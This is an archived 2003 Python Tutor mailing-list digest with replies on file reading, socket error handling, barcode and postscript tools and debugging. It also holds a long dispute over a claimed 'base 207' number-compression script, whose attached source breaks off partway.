In-Reply-To: <463192576.20030621171956@roadrunner.nf.net>
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net>
Message-ID: <20030626195931.GB32689@dman13.dyndns.org>

--cvVnyQ+4j833TQvp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Jun 21, 2003 at 05:19:56PM -0230, Adam Vardy wrote:
|=20
| Now I'm trying Read(). I have a couple observations, and wonder what
| you folks think. Take the code below. I notice that Read() is
| apparently incredibly slow! Text appears on screen, cursor slowly
| gliding across. Which surprises as it is only reading a byte at a
| time. On a Gigahertz machine.

CPU clock speed really doesn't matter when it comes to disk I/O.
Perhaps your disk is really slow?  A lot of the inexpensive Pentium 4
machines on the market achieve lost system cost by really skimping on
the disk.  That really defeats the purpose of having the expensive CPU
because it will sit idle most of the time waiting for the disk to feed
it data.  However, marketing tends to focus on a single number rather
than the whole system ....

If you really want to determine why a given piece of code is slow, use
a profiler.  Except in trivial cases a programmer's guess is often
wrong.

-D

--=20
Yes, Java is so bulletproofed that to a C programmer it feels like being in=
 a
straightjacket, but it's a really comfy and warm straightjacket, and the wo=
rld
would be a safer place if everyone was straightjacketed most of the time.
                                                      -- Mark 'Kamikaze' Hu=
ghes
=20
http://dman13.dyndns.org/~dman/

--cvVnyQ+4j833TQvp
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UKMACgkQiB6vp1xAVUAyngCdGdi0KXyqpHZySTDTjzskAHBc
MYsAnjV/QS6a9DYHvvuxToLO8FyyBrNv
=hxSI
-----END PGP SIGNATURE-----

--cvVnyQ+4j833TQvp--


From dman@dman13.dyndns.org  Thu Jun 26 17:03:04 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:03:04 2003
Subject: [Tutor] Re: Readlines
In-Reply-To: <124105203845.20030623152613@roadrunner.nf.net>
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp> <124105203845.20030623152613@roadrunner.nf.net>
Message-ID: <20030626200220.GC32689@dman13.dyndns.org>

--0vzXIDBeUiKkjNJl
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 23, 2003 at 03:26:13PM -0230, Adam Vardy wrote:
| Sunday, June 22, 2003, 5:07:23 AM, you wrote:
|=20
| >> for line in f.xreadlines():
| >>     print line
|=20
| How do you tell what line it is on there?

You don't care, there.  Many times when reading a file it is the
content of the line that is important, not how far into the file the
line is.  xreadlines() is a shortcut that allows you to skip the
business with a counter or testing for end-of-file and just get to the
important aspect of handling the data in the file.

-D

--=20
Yes, Java is so bulletproofed that to a C programmer it feels like being in=
 a
straightjacket, but it's a really comfy and warm straightjacket, and the wo=
rld
would be a safer place if everyone was straightjacketed most of the time.
                                                      -- Mark 'Kamikaze' Hu=
ghes
=20
http://dman13.dyndns.org/~dman/

--0vzXIDBeUiKkjNJl
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UUwACgkQiB6vp1xAVUCQJQCdEWJRRn+FQ8Hm2nv0oawqF7fO
ogkAoJC0d025ZZu2G8uUW2IFSl00Wxkk
=fqVR
-----END PGP SIGNATURE-----

--0vzXIDBeUiKkjNJl--


From dman@dman13.dyndns.org  Thu Jun 26 17:03:20 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:03:20 2003
Subject: [Tutor] Re: Creating barcodes
In-Reply-To: <3EF68044.000003.02760@siahaan>
References: <3EF68044.000003.02760@siahaan>
Message-ID: <20030626200240.GD32689@dman13.dyndns.org>

--zS7rBR6csb6tI2e1
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 23, 2003 at 11:21:24AM +0700, Mico Siahaan wrote:
| One of my client ask me to make an application for creating, viewing then
| printing barcodes in Windows environment. Is there any python modules that
| would help me to create such application?

GNU Barcode can help you :
    http://www.gnu.org/directory/barcode.html

If you aren't familiar with the "pipes and filters" software
architecture, then I suggest studying it!  It is a very powerful and
flexible paradigm used extensively on UNIX-like platforms.  It
provides a simple and effective means for leveraging other programs to
do much of your work for you.  I expect that GNU Barcode will run
natively on Windows, but it may require using the cygwin runtime
environment.

HTH,
-D

--=20
The nice thing about windoze is - it does not just crash,
it displays a dialog box and lets you press 'ok' first.
=20
http://dman13.dyndns.org/~dman/

--zS7rBR6csb6tI2e1
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UWAACgkQiB6vp1xAVUAU/ACgknQagj4DbPBJKX8yF6rVKcJh
fQMAoIPF15yBt4aicGAkoSJTjA5VVAI9
=P5hj
-----END PGP SIGNATURE-----

--zS7rBR6csb6tI2e1--


From dman@dman13.dyndns.org  Thu Jun 26 17:04:02 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:04:02 2003
Subject: [Tutor] Re: error: (10054, 'Connection reset by peer')
In-Reply-To: <3EF6C7B1.5090608@kirks.net>
References: <3EF6C7B1.5090608@kirks.net>
Message-ID: <20030626200314.GE32689@dman13.dyndns.org>

--C94crkcyjafcjHxo
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 23, 2003 at 10:26:09AM +0100, Patrick Kirk wrote:
| Hi all,
|=20
| I'm coding a Gnutella daemon and it crashes when a peer resets the=20
| connection.
|=20
| I've tried to set up logging to catch the problem but the function dies=
=20
| before anything gets logged.

Read the exception's traceback.

| How should I handle this?

try:
    ...
except <type>, err :
    ...

(the same python code used to handle any sort of error :-))

| # Create listener and process input
| def createSocket():
| 	sockobj =3D socket(AF_INET, SOCK_STREAM)
| 	sockobj.bind((myHost, myPort))
| 	sockobj.listen(50)
| =09
| 	while 1:
| 		connection, address =3D sockobj.accept()
| 		data =3D connection.recv(1024)

Here's where the program dies.  Note that until now you haven't logged
anything.  If the client doesn't send you any data, you can't read
that data (because it doesn't exist).  This method can fail, just like
any other I/O method.  You need to catch the exception, close your end
of the socket, and go back to wait for another connection.

-D

--=20
The teaching of the wise is a fountain of life,
turning a man from the snares of death.
        Proverbs 13:14
=20
http://dman13.dyndns.org/~dman/

--C94crkcyjafcjHxo
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UYIACgkQiB6vp1xAVUDyoQCfa4G8bupF6H7WPOV1ToR/ky2Z
I5sAn08ZI7bjmq74Q+BT0FyomXNyIiXl
=Hxyt
-----END PGP SIGNATURE-----

--C94crkcyjafcjHxo--


From dman@dman13.dyndns.org  Thu Jun 26 17:04:31 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:04:31 2003
Subject: [Tutor] Re: Creating barcodes
In-Reply-To: <3EF68044.000003.02760@siahaan>
References: <3EF68044.000003.02760@siahaan>
Message-ID: <20030626200349.GF32689@dman13.dyndns.org>

--m1UC1K4AOz1Ywdkx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 23, 2003 at 11:21:24AM +0700, Mico Siahaan wrote:
| One of my client ask me to make an application for creating, viewing then
| printing barcodes in Windows environment. Is there any python modules that
| would help me to create such application?

GNU Barcode can help you :
    http://www.gnu.org/directory/barcode.html

If you aren't familiar with the "pipes and filters" software
architecture, then I suggest studying it!  It is a very powerful and
flexible paradigm used extensively on UNIX-like platforms.  It
provides a simple and effective means for leveraging other programs to
do much of your work for you.  I expect that GNU Barcode will run
natively on Windows, but it may require using the cygwin runtime
environment.

HTH,
-D

--=20
The nice thing about windoze is - it does not just crash,
it displays a dialog box and lets you press 'ok' first.
=20
http://dman13.dyndns.org/~dman/

--m1UC1K4AOz1Ywdkx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UaUACgkQiB6vp1xAVUAg1ACcCY0l3lG3ftX0FhRFcy+B8BHG
UUQAmQFOIE/hwU8pN4zkSRrPatGUkIes
=SmU6
-----END PGP SIGNATURE-----

--m1UC1K4AOz1Ywdkx--


From dman@dman13.dyndns.org  Thu Jun 26 17:04:51 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:04:51 2003
Subject: [Tutor] Re: Viewing postscript
In-Reply-To: <10122.203.130.222.22.1056357293.squirrel@intermatik.co.id>
References: <10122.203.130.222.22.1056357293.squirrel@intermatik.co.id>
Message-ID: <20030626200355.GG32689@dman13.dyndns.org>

--GdbWtwDHkcXqP16f
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 23, 2003 at 03:34:53PM +0700, Mico Siahaan wrote:
| How can I preview an postscript file using python script in Windows XP?
| I have some postscript files, and I want to make a python application to
| preview the script.

The method which requires the least amount of code on your part is to
first install 'ghostview' on your machine, then use
    os.system( "ghostview '%s'" % full_path_to_ps_file )
in your program.

The alternative is to rewrite ghostview (and likewise, ghostscript) in
python.  That is not trivial, to say the least :-).

(The only other alternative is to find someone else who has already
done enough of the recoding that you can use it)

-D

--=20
Microsoft: "Windows NT 4.0 now has the same user-interface as Windows 95"
    Windows 95: "Press CTRL-ALT-DEL to reboot"
Windows NT 4.0: "Press CTRL-ALT-DEL to login"
=20
http://dman13.dyndns.org/~dman/

--GdbWtwDHkcXqP16f
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj77UasACgkQiB6vp1xAVUAgPgCfUvcBCRWufYZd1Q58ewYIrYfA
3ecAn22oqWmDBf+dpBLZvw9FNoGvqja9
=DnXp
-----END PGP SIGNATURE-----

--GdbWtwDHkcXqP16f--


From jeff@ccvcorp.com  Thu Jun 26 17:39:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 26 16:39:01 2003
Subject: [Tutor] Re:Base 207 compression algorithm
References: <Law15-F89gtc2S6AATi000082cd@hotmail.com>
Message-ID: <3EFB59B5.8070107@ccvcorp.com>

cino hilliard wrote:

> To:Jeff Shannon and all other Python users
>
> Cino Hilliard wrote:
>
>>> # we can determine the compression ratio for various bases. # Eg., 
>>> base 2 = 332%,
>>> # base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
>>
>>
>>
> Jeff Shannon wrote:
>
>> This is mistaken, because you're only changing how many characters 
>> are used to display it on the screen.  No matter what base it's 
>> displayed in, it is still *stored* in binary, and this will not 
>> compress anything. Whether you see 'FF' or '255' or '@' (or whatever 
>> other character might be used to represent that number in whatever 
>> base you try to use), it still must occupy one byte of memory / hard 
>> drive space.  Once again, you're confusing the display with 
>> internals.  Changing the base only affects display.
>
>
> Does anyone else in the python community agree with this?
>
>
> Attached is a script that can be used to zip numbers. It is a base 
> 2-207 compression algorithm that I
> developed using python's arbitrary integer precision feature. Base 207 
> was used for the output in this
> example.
>
> Here is the output for 5000 digits of Pi stored to two files pib10.txt 
> for the decimal expansion and
> pib207.txt for the base 207 conversion. I included Win Zip and pkzip 
> files also. You will notice that the
> compression in base 207 gives a better ratio than the Zip file 
> compression. The compression ratio
> improves logorithmically with increasing bases.


That is because you are comparing the size of strings used to represent 
a number, rather than demonstrating any real compression.  However, 
you're not going to have any luck in actually doing any math with either 
of these strings.  In either case, you'd have better "compression" by 
simply expressing Pi as a large binary float -- you could probably get 
that much precision in less than a hundred bytes (probably *much* less), 
compared to your 2100.  (I'm not about to try to do the math to 
determine how many floating-point bits would be needed to achieve 5000 
digits of precision, but I'm quite confident that it's at *least* an 
order of magnitude less than your string representation.  Of course, 
note that '5000 digits of precision' inherently implies that one is 
speaking of a particular base, which we presume to be decimal...)

The real issue here, of course, is that this is not truly compression in 
the general sense, because it only applies to string representations of 
numbers.  If you really want to show compression, then take an arbitrary 
string (say, the contents of your Windows' autoexec.bat or the contents 
of your *nix /etc/passwd, or any generic logfile) and show how that can 
be expressed in fewer characters by converting to a higher-radix number. 
 Don't forget to show how to re-create the original file afterwards.  

And of course, even as far as representing numbers, this is not good 
compression, because expressing a binary integer or float will take much 
less space than representing a string of characters in any base.  For a 
computer (where each character is represented by a 1-byte value), it is 
not possible to have more characters that can be represented by a single 
byte than there are integers that can be expressed by that single byte. 
 If you look at sys.maxint as an example, this is the largest number 
that can be expressed in a (four-byte) integer.  But it takes ten 
characters to represent it in decimal, and it'd take 6 or 7 in base 207. 
 You could claim that it only takes four bytes in base 256 -- but at 
that point, the computer representation is *exactly* the same as for a 
binary integer.  And you cannot improve this on a standard computer by 
using a base higher than 256, because each character will require 
multiple bytes, so your 'three character' string in base 1000 (and who 
could keep track of a thousand different symbols, anyhow?) will require 
at least six bytes to represent it.

Jeff Shannon
Technician/Programmer
Credit International




From hillcino368@hotmail.com  Thu Jun 26 18:10:09 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Thu Jun 26 17:10:09 2003
Subject: [Tutor] Re:Base 207 compression algorithm
Message-ID: <Law15-F22HNkjgJKVAp00004867@hotmail.com>

The number compression ratio for my base 2 - 207 compression algorithm  is 
log(10)/log(b). Thus if we
compress a 1000000 digit number base 10 to base 207 we have a compression 
ratio of log(10)/log(207)
= 0.43178... The best we will be able to do with a character set with codes 
up to 999 is about 1/3.

Thanks,
  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649





>From: "cino hilliard" <hillcino368@hotmail.com>
>To: tutor@python.org
>Subject: [Tutor] Re:Base 207 compression algorithm
>Date: Thu, 26 Jun 2003 19:32:01 +0000
>
>To:Jeff Shannon and all other Python users
>
>Cino Hilliard wrote:
>>># we can determine the compression ratio for various bases. # Eg., base 2 
>>>= 332%,
>>># base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
>>
>>
>Jeff Shannon wrote:
>>This is mistaken, because you're only changing how many characters are 
>>used to display it on the screen.  No matter what base it's displayed in, 
>>it is still *stored* in binary, and this will not compress anything. 
>>Whether you see 'FF' or '255' or '@' (or whatever other character might be 
>>used to represent that number in whatever base you try to use), it still 
>>must occupy one byte of memory / hard drive space.  Once again, you're 
>>confusing the display with internals.  Changing the base only affects 
>>display.
>
>Does anyone else in the python community agree with this?
>
>
>Attached is a script that can be used to zip numbers. It is a base 2-207 
>compression algorithm that I
>developed using python's arbitrary integer precision feature. Base 207 was 
>used for the output in this
>example.
>
>Here is the output for 5000 digits of Pi stored to two files pib10.txt for 
>the decimal expansion and
>pib207.txt for the base 207 conversion. I included Win Zip and pkzip files 
>also. You will notice that the
>compression in base 207 gives a better ratio than the Zip file compression. 
>The compression ratio
>improves logorithmically with increasing bases.
>
>
>Also shown is the compression for 1000! in base 207.
>
>This is in no way intended to imply that this code is better than the 
>professional zip code. It is just a
>demonstration of ways to compress a string of numbers using base 
>conversion. Currently, it only works
>on numbers.
>
>
>C:\Python23>dir pib*.*
>Volume in drive C has no label.
>Volume Serial Number is E834-0F93
>
>Directory of C:\Python23
>
>06/26/2003  12:37 PM             5,000 pib10.txt
>06/26/2003  12:37 PM             2,159 pib207.txt
>06/26/2003  12:44 PM             2,665 pib10.zip
>06/26/2003  01:34 PM             2,594 pib10pk.ZIP
>06/26/2003  02:02 PM             2,568 fact10.txt
>06/26/2003  02:02 PM             1,109 fact207.txt
>
>_________________________________________________________________
>MSN 8 with e-mail virus protection service: 2 months FREE*  
>http://join.msn.com/?page=features/virus
><< practical.py >>

_________________________________________________________________
Tired of spam? Get advanced junk mail protection with MSN 8. 
http://join.msn.com/?page=features/junkmail



From alan.gauld@blueyonder.co.uk  Thu Jun 26 19:49:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun 26 18:49:02 2003
Subject: [Tutor] Readlines(longish!)
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp> <124105203845.20030623152613@roadrunner.nf.net> <004001c33a8f$99d65240$6401a8c0@xp> <472080731.20030625162557@roadrunner.nf.net> <000301c33b4f$eb159060$6401a8c0@xp> <14287406463.20030626160802@roadrunner.nf.net>
Message-ID: <006001c33c35$1ce7ea80$6401a8c0@xp>

> I know you're the expert Alan, but you might not have left high
level
> concepts for the moment.

I'm not really that much of an expert on the innards of Python
but for this discussion that doesn't really matter...

> Just that, suppose you only have four months in a year. The computer
> would probably have:
>
> 00 00- January.
> 01 01- February.
> 02 10- March
> 03 11- April

Nope, I disagree. You are thinking of low level languages like
C I suspect. When all youi have is an array everything looks
like an array... But in Python you would probably store the
months in a dictionary - which under the covers is implemented
as a sparce array or a hash table or a balanced tree. In none
of those cases is there any meaningful sequence number.

In fact if you inserted a new item into a balanced tree
implementation or hash the entire sequencing may well change!
But the foreach construct will still work just as well.

> It won't bother thinking about a February. If it counts through the
> months, it won't conceive of time, metaphors, or abstract items.
Just
> add one each time.  It will have to do that.

No it doesn't have to do that. In fact even in a primitive language
like C it could implement it as a linked list. In that case it
would have to search through the list looking at the content, it
wouldn't use any kind of numerical index. You only need an index
when dealing with array like structures.

Consider the C like pseudo code:

struct {
   char name[20];
   month* next;
   }month;

char* months[] = {"Jan","Feb",...."Dec"};

year *month;
year = new month;
strcpy(year->name,months[0]);

for (m=1;m<12;m++){
    m = new month;
    strcpy(m->name,months[m])
    m->next = NULL;
    year->next = m;
    year = m;
    }

Now we had to use index8ing to set that up because of the limitations
of C. But when it comes to processing the months later on, we just do:

n = year;
while (n){
    puts(n->name);
    n = n->next;
    }

Now this is the behaviour we get from Python's for loop. It iterates
over the sequence without a care for its position. In fact its
actually better than that because it uses an iterator mechanism
which means it doesn't even know about whetyer the sequence is
an array, a string, a dictionary or a user defined balanced AVL
tree or whatever. So long as the collection keeps feeding it
a "next" then the for loop keeps processing things.

> You're adding LineCount wasn't really more confusing.
> But, you might to do that but be less descriptive, and say 'lc' or
'l'.
> And you won't know what it was later. Think so?

Bad variable naming will cause confusion regardless of the
language! :-)

> If you just have 'line' you could use it both for the printed line,
> and the number of that line. Both fit well trying to read like plain
> English.

I originally used line then realized it was amibigous so changed
it to lineCount. Careful name selection is part of good programming.

> Are you sure you've never added counters before in lots of places
> around, and then left very little working code on one screen/page?

Not when using a for loop. If I need to access the index I will
usually wind up using the while loop which is deliberately
flexible and lower level than the for loop.

> >> Consider the common case of processing a file with a while loop
> >> until you reach the end of file... You don't need to track the
> >> line number.
>
> Probably not, if there are functions to read from the start, or end
of
> a file.

Or as in the case of Python to just keep reading the next line
until there's nothing left. The xreadlines() method in Python
can be simulated using a while loop just about as easily:

line = f.readline()  # note single line
while line:          # if line is not empty
    print line
    line = f.readline()  # next!

Note the loop doesn't check for start or end of file it just
keeps reading till there's nothing returned.

> >> When you have to add extra variables, it just adds more text on
your
> >> screen, and less space to review the main stuff you've actually
> >> written.

Absolutely, thats why FOR doesn't mess with indexes, it just
hands you the object to process and you leave the access to
Python to worry about. IN practice you are far more likely to
not need the index than you are to need it, so Pythons approach
minimises the spurious code.

If you don't find that to be the case consider whether you are
using FOR loops when maybe you should be using a while. Or maybe
you aren't taking advantage of the full power of pythons FOR loop?

> >> For the relatively few cases where you need an index counter then
> >> the amount of extra text is small, and you have the choice of
using
> >> a while loop, or for loop. Mostly when you use a for loop you
just
> >> want to process each item.
>
> Except when you're debugging, you probably want to print just about
> anything.

Again I disagree. When I'm debugging I print the little that I need.
If I need to examine a complete object, say, I will normally use
the debugger for that.

> Like when a function doesn't seem to be running correctly.

Learn to use the debugger, it makes life so much easier. I
typically only use print statements to print the entry into a
function, the input values and return value(s) of a function.
If they don't match then I first will start the interpreter
and test the functoins behaviour using the >>> prompt, if that
doesn't help I start the debugger and step through the function
line by line examining as I go.

print statements are powerful debugging tools but they are a
very blunt instrument and can obfuscate as much as they reveal
if overused.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From hillcino368@hotmail.com  Thu Jun 26 20:58:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Thu Jun 26 19:58:01 2003
Subject: [Tutor] Re:Base 207 compression algorithm
Message-ID: <Law15-F3hS7PFlOHkd400005330@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_459d_2be6_204a
Content-Type: text/plain; format=flowed

Hi Jeff,
You are not understanding what my program does. Have you tried it? This bas 
converter is my
unique design allowing characters from ascii 48 - 255. So you will get ?? 
for 255  base 10 to base 16.
It is a program by Declaration.

Here is a simple run
>>>practical.testpi(10,207,100)
31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
Length before compression     100

&#9578;ç?&#9612;_àdr^G&#915;&#9632;5&#9608;nx&#915;7PGY÷&#8993;_¡&#9578;ƒ&#9492;¥h:ò1&#9575;rVuy5s&#9553;&#8801;&#8801;
Length after compression      43

31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
Length after converting back  100



>cino hilliard wrote:
>
>>To:Jeff Shannon and all other Python users
>>
>>Cino Hilliard wrote:
>>
>>>># we can determine the compression ratio for various bases. # Eg., base 
>>>>2 = 332%,
>>>># base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
>>>
>>>
>>>
>>Jeff Shannon wrote:
>>
>>>This is mistaken, because you're only changing how many characters are 
>>>used to display it on the screen.  No matter what base it's displayed in, 
>>>it is still *stored* in binary, and this will not compress anything. 
>>>Whether you see 'FF' or '255' or '@' (or whatever other character might 
>>>be used to represent that number in whatever base you try to use), it 
>>>still must occupy one byte of memory / hard drive space.  Once again, 
>>>you're confusing the display with internals.  Changing the base only 
>>>affects display.
>>
>>
>>Does anyone else in the python community agree with this?
>>
>>
>>Attached is a script that can be used to zip numbers. It is a base 2-207 
>>compression algorithm that I
>>developed using python's arbitrary integer precision feature. Base 207 was 
>>used for the output in this
>>example.
>>
>>Here is the output for 5000 digits of Pi stored to two files pib10.txt for 
>>the decimal expansion and
>>pib207.txt for the base 207 conversion. I included Win Zip and pkzip files 
>>also. You will notice that the
>>compression in base 207 gives a better ratio than the Zip file 
>>compression. The compression ratio
>>improves logorithmically with increasing bases.
>
>
>That is because you are comparing the size of strings used to represent a 
>number, rather than demonstrating any real compression.
How do you get the size of s = 12345678987654321 in bytes?
len(str(s)) = 17. Is that correct? how about the size of
pi=31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
len(str(s)) = 17. Is that correct?

>However, you're not going to have any luck in actually doing any math with 
>either of these strings.
Sure you can. You convert back to decimal. The whole idea is to be able to 
store a string of a very large
numbers in in as little disk space as possible.
Since python is slow running this algorithm, for very large numbers you 
would be wise to do 1000 digit
chunks.

In either case, you'd have >better "compression" by simply expressing Pi as 
a large binary float

show me Pi to 100 places as a large binary float.
My program outputs the following for pi to 100 places in binary.
>>>practical.testpi(10,2,100)
31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
Length before compression     100

10110111110110010101100000011001010001011110001101001110010111001111011011110000
00000011100000111001101101001011001110001010011111001111000000011111101100011100
10101111101111010010101101101100100100111101010010001111110011000101011110101001
10000111011100110100100010111011011101000010100101000110111110111101110111101100
10011001011
Length after compression      331

31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
Length after converting back  100

>-- you could probably get that much precision in less than a hundred bytes 
>(probably *much* less), compared to your 2100.
Show me for just 100 digits.
So you admit I have reduced the file size of 5000 digits of pi to 2100 bytes 
of which I could
read back into my program and convert back to 5000 digits decimal?
  (I'm not about  to try to do the math to determine how many floating-point 
bits

What are you talking about? Floating point goes to 16 digits or so
>>>355/113.
3.1415929203539825

>would be needed to achieve 5000 digits of precision, but I'm quite 
>confident that it's at *least* an order of magnitude less than your

Show it to me for just 100 places if you say it is < 43 bytes as my 
algorithm does.

>string representation.  Of course, note that '5000 digits of precision' 
>inherently implies that one is speaking of a particular
Yes we are going from base 10 to 207
>base, which we presume to be decimal...)
>
>The real issue here, of course, is that this is not truly compression in 
>the general sense, because it only applies to string representations of 
>numbers.

So? I admitted it is only good for numbers (actually integers).

>If you really want to show compression, then take an arbitrary string (say, 
>the contents of your Windows' autoexec.bat or the contents of your *nix 
>/etc/passwd, or any generic logfile) and show how that can be expressed in 
>fewer

Hello. Why can't I compress strings of numbers? In the world what is there 
are a lot of numbers.
The latest record for Pi is 1.24 trillion digits. I will bet these digits 
are compressed and called from a decompressor.

>characters by converting to a higher-radix number. Don't forget to show how 
>to re-create the original file afterwards.
Yes.
>
>And of course, even as far as representing numbers, this is not good 
>compression, because expressing a binary integer or float will take
Show me for 
pi=31415926535897932384626433832795028841971693993751058209749445923078164062862089
98628034825342117067
I want to see the floating point or binary integer for this number.

Do you have a better compression scheme for numbers in python?

>much less space than representing a string of characters in any base.  For 
>a computer (where each character is represented by a 1-byte value), it is 
>not possible to have more characters that can be represented by a single 
>byte than there are integers that can be

Not so. Indeed, this is how compression algorithms work

>expressed by that single  example, this is thebyte. If you look at 
>sys.maxint as an largest number that can be expressed in a (four-byte) 
>integer.  But it takes ten characters to represent it in decimal, and it'd 
>take 6 or 7 in base 207. You could claim that it
No. my algorithm takes 5. for small numbers the log(10)/log(b) is not 
accurate. Here we get a 50%
compression ratio.
maxint = 2^31 - 1
import sys
>>>sys.maxint
2147483647
Now my algorithm gives
>>>practical.testany(10,207,2**31-1)
2147483647
Length before compression     10

1SGÆL
Length after compression      5

2147483647
Length after converting back  10
>>>
for much larger numbers the 43% rule kicks in as this example shows.
>>>practical.testany(10,207,2**256-1)
115792089237316195423570985008687907853269984665640564039457584007913129639935
Length before compression     78

4t&#9557;&#9474;&#9560;ylm\&#9564;&#9612;â{ú2&#9561;&#945;>T&#931;l;&#966;L&#9516;&#9492;ÅwH&#9567;&#9556;fÿ&#9578;
Length after compression      34

115792089237316195423570985008687907853269984665640564039457584007913129639935
Length after converting back  78
>>>
4t&#9557;&#9474;&#9560;ylm\&#9564;&#9612;â{ú2&#9561;&#945;>T&#931;l;&#966;L&#9516;&#9492;ÅwH&#9567;&#9556;fÿ&#9578;
copy and paste this ugly string into your >>> session where you imported 
practical
practical.testany(207,10,'4t&#9557;&#9474;&#9560;ylm\&#9564;&#9612;â{ú2&#9561;&#945;>T&#931;l;&#966;L&#9516;&#9492;ÅwH&#9567;&#9556;fÿ&#9578;')
You will get
4t&#9557;&#9474;&#9560;ylm\&#9564;&#9612;â{ú2&#9561;&#945;>T&#931;l;&#966;L&#9516;&#9492;ÅwH&#9567;&#9556;fÿ&#9578;
Length before compression     34

115792089237316195423570985008687907853269984665640564039457584007913129639935
Length after compression      78

4t&#9557;&#9474;&#9560;ylm\&#9564;&#9612;â{ú2&#9561;&#945;>T&#931;l;&#966;L&#9516;&#9492;ÅwH&#9567;&#9556;fÿ&#9578;
Length after converting back  34


>only takes four bytes in base 256 -- but at that point, the computer 
>representation is *exactly* the same as for a binary integer.  And you 
>cannot improve this on a standard computer by using a base higher than 256, 
>because each character will require multiple bytes, so your 'three 
>character' string in base 1000 (and who could keep track of a thousand 
>different symbols, anyhow?) will require at least six bytes to represent 
>it.
>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
>

_________________________________________________________________
Add photos to your e-mail with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail

------=_NextPart_000_459d_2be6_204a
Content-Type: text/plain; name="practical.py"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="practical.py"

#                     A practical application of base conversion.
#                                 By Cino Hilliard
#                                    6/24/2003
# This little program demonstrates a practical use of base conversion to 
compress
# base 10 numbers using the ascii set 48 - 255 allowing bases 2 - 207. With 
a little work,
# it can be changed to compress text also. Using the testpi function for 
1000 digits,
# we can determine the compression ratio for various bases. # Eg., base 2 = 
332%,
# base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
# Perhaps others in the list can tweek to get better compression. It may be 
possible
# use another character set to say super ascii 511. Processing gets slow as 
we increase
# the number of digits to say 10000. This may be improved by doing 1000 
characters at a
# time getting 10 packets of base 207 to be converted back 1000 at a time. 
Also this could
# be used as an encryption scheme for sensitive data. If you are a Mystic, 
you cal look
# for words or messages in the characters of Pi. Go out far enough and you 
will read the
# Bible word for word. with this. You will have to place the spaces and 
punctuation in
# though. Prime number enthusiasts can use the base converter to find prime 
words or
# phrases.
def testany(r1,r2,n):
    f1 = open('any10.txt','w')
    f2 = open('any207.txt','w')
    print n
    n=str(n)
    print "Length before compression    ", len(n)
    print ""
    x = base(r1,r2,n)
    print x
    print "Length after compression     ", len(x)
    print ""
    y = base(r2,r1,x)
    print y
    print "Length after converting back ", len(y)
    f1.write(n)
    f2.write(x)
    f1.close()
    f2.close()

def testpi(r1,r2,n):
    f1 = open('pib10.txt','w')
    f2 = open('pib207.txt','w')
    pi = piasn(n)
    print pi
    print "Length before compression    ", len(pi)
    print ""
    x = base(r1,r2,pi)
    print x
    print "Length after compression     ", len(x)
    print ""
    y = base(r2,r1,x)
